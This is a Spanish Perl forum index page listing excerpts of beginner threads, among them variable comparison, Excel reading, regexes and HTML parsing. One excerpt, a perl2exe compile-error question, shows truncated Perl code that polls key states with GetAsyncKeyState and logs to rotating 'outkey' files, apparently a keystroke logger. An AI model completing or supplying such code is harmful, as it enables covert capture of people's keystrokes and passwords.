• Publicidad

Fecha actual 2025-01-12 02:56 @164

News News of Foro - Perl en Español

Site map of Foro - Perl en Español » Foro : Foro - Perl en Español

La comunidad de programadores en Perl de habla-hispana.

Problema para comparar variables = 0

Estimados,

Estoy presentando problemas en un script al comparar si una variable es igual a cero. El código me deja algunas variable con un valor null; las variables null entran en el if() siendo que éste tiene la siguiente sentencia: if ($variable == 0 ).

Adjunto código, desde ya agradezco el apoyo.


#! /usr/bin/perl
#Transacciones

use MIME::Lite;
use strict;
use POSIX 'strftime';
my $fecha = strftime "%d-%m-%Y %H:%M:%S", localtime;
my $var_0;
my $var_1;
my ...
Read more : Problema para comparar variables = 0 | Vistas : 889 | Respuestas : 3 | Foro : Básico


Sobre perldoc-es

Saludos a la comunidad...

Tengo una consulta. Los archivos que están traducidos en perldoc-es, estos, ¿se pueden integrar con la instalación de Perl?

Por que bajé el ZIP y no sé qué hacer con él :P A ver si alguien me orienta...

Por otra parte ¿los archivos .pod son para la consola?

Saludos
Read more : Sobre perldoc-es | Vistas : 782 | Respuestas : 3 | Foro : Básico


No entiendo system() + @array + split()

¡¡Buenas noches!! ¡¡va, por lo menos en Argentina lo es!! Les cuento la inquietud que tengo.

pwd
/home/directorio
ls
archivo1 archivo2
my $ls = exec("ls");
my @lsarray = split(/\s+/, $ls);
print "$lsarray\n"; # solución esperada >> "archivo1"
archivo1 archivo2 # lo que sale como No quiero

Aguardo alguna sugerencia, me estoy iniciando en este lenguaje, unas de las primeras cosas que quiero realizar y ya me topo con algo. ¡¡Saludos!! y gracias.
Read more : No entiendo system() + @array + split() | Vistas : 697 | Respuestas : 3 | Foro : Básico


Leer Archivo Excel

Estimados, si bien siempre he ocupado Spreadsheet::ParseExcel::Simple para leer archivos Excel, hoy se me presenta lo siguiente:

Necesito leer desde una misma hoja ciertas celdas y luego comenzar un bucle para extraer datos desde la línea 100 en adelante.

Si bien he sacado los datos de las celdas fijas con Spreadsheet::Read, no sé cómo comenzar a sacar los datos desde la línea 100 en adelante...

Favor su ayuda, Gracias.

#!/usr/bin/perl

use Spreadsheet::Read;



open (FILE, @ARGV) ...
Read more : Leer Archivo Excel | Vistas : 1302 | Respuestas : 1 | Foro : Básico


Módulo para controlar Firefox con Strawberry Perl

Quiero hacer un programa que controle mi navegador.

Ya vi el tutorial de SAMIE pero no me funcionó. Creo que es porque es porque era para Activestate y quisiera saber si hay algún módulo para controlar Firefox (Chrome, o IE, o cualquiera de esos 3, mejor si hay para los 3) y aun mejor si me pueden dar ejemplos.

¡Gracias! :D
Read more : Módulo para controlar Firefox con Strawberry Perl | Vistas : 1582 | Respuestas : 2 | Foro : Web


Archivo .dat pasarlo a SQL

Buenas tardes.

Tengo una archivo .dat, con mucha información que me gustaría insertarlo en una base de datos SQL, y que pueda hacer las consultas o búsquedas. Esto al final se quiere hacer un entorno web donde podremos hacer las búsquedas de cualquier información que esté en la base de datos...

Pero primero tengo que empezar con cómo introduzco una archivo .dat con mucha información a SQL...
Read more : Archivo .dat pasarlo a SQL | Vistas : 7412 | Respuestas : 5 | Foro : Bases de datos


Expresión regular para 10 dígitos

¿ Alguien me podría decir cómo una expresión regular para sacar de un variable $text todo lo que tenga 10 dígitos y mostrarlo por pantalla ?
Read more : Expresión regular para 10 dígitos | Vistas : 1510 | Respuestas : 4 | Foro : Básico




Primera ocurrencia en una búsqueda

Ante todo, felicidades por esta página que me ha ahorrado un montón de horas buscando información y a los comentarios de explorer que aparecen en todos los lados :P

Tengo un problemilla con una búsqueda de un html que me llega que necesito sacar los vídeos de Youtube y los comentarios asociados.

Porción del html que quiero capturar:

<div id="cuerpo_13234" class="cuerpo">
Texto pruebra bllalblalbla ...
Read more : Primera ocurrencia en una búsqueda | Vistas : 1482 | Respuestas : 2 | Foro : Web


Error en compilación con perl2exe

Tengo el siguiente código

use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;

Win32::API->Import('user32', 'GetKeyState', 'I', 'I');

sub GetCapsLock {
GetKeyState(0x14) & 1;
}

sub GetNumLock {
GetKeyState(0x90) & 1;
}

sub GetScrollLock {
GetKeyState(0x91) & 1;
}

sub SetCapsLock {} # Not yet implemented

sub SetNumLock {} # Not yet implemented

sub SetScrollLock {} # Not yet implemented

while(1){

if(-s OUT >= 1048576){
close(OUT);
#$I++;
open (OUT, ">>outkey$I.txt") || die "could not create ...
Read more : Error en compilación con perl2exe | Vistas : 1027 | Respuestas : 10 | Foro : Básico


 

Identificarte  •  Registrarse


Estadísticas

Mensajes totales 36890 • Temas totales 7432 • Usuarios totales 1981

cron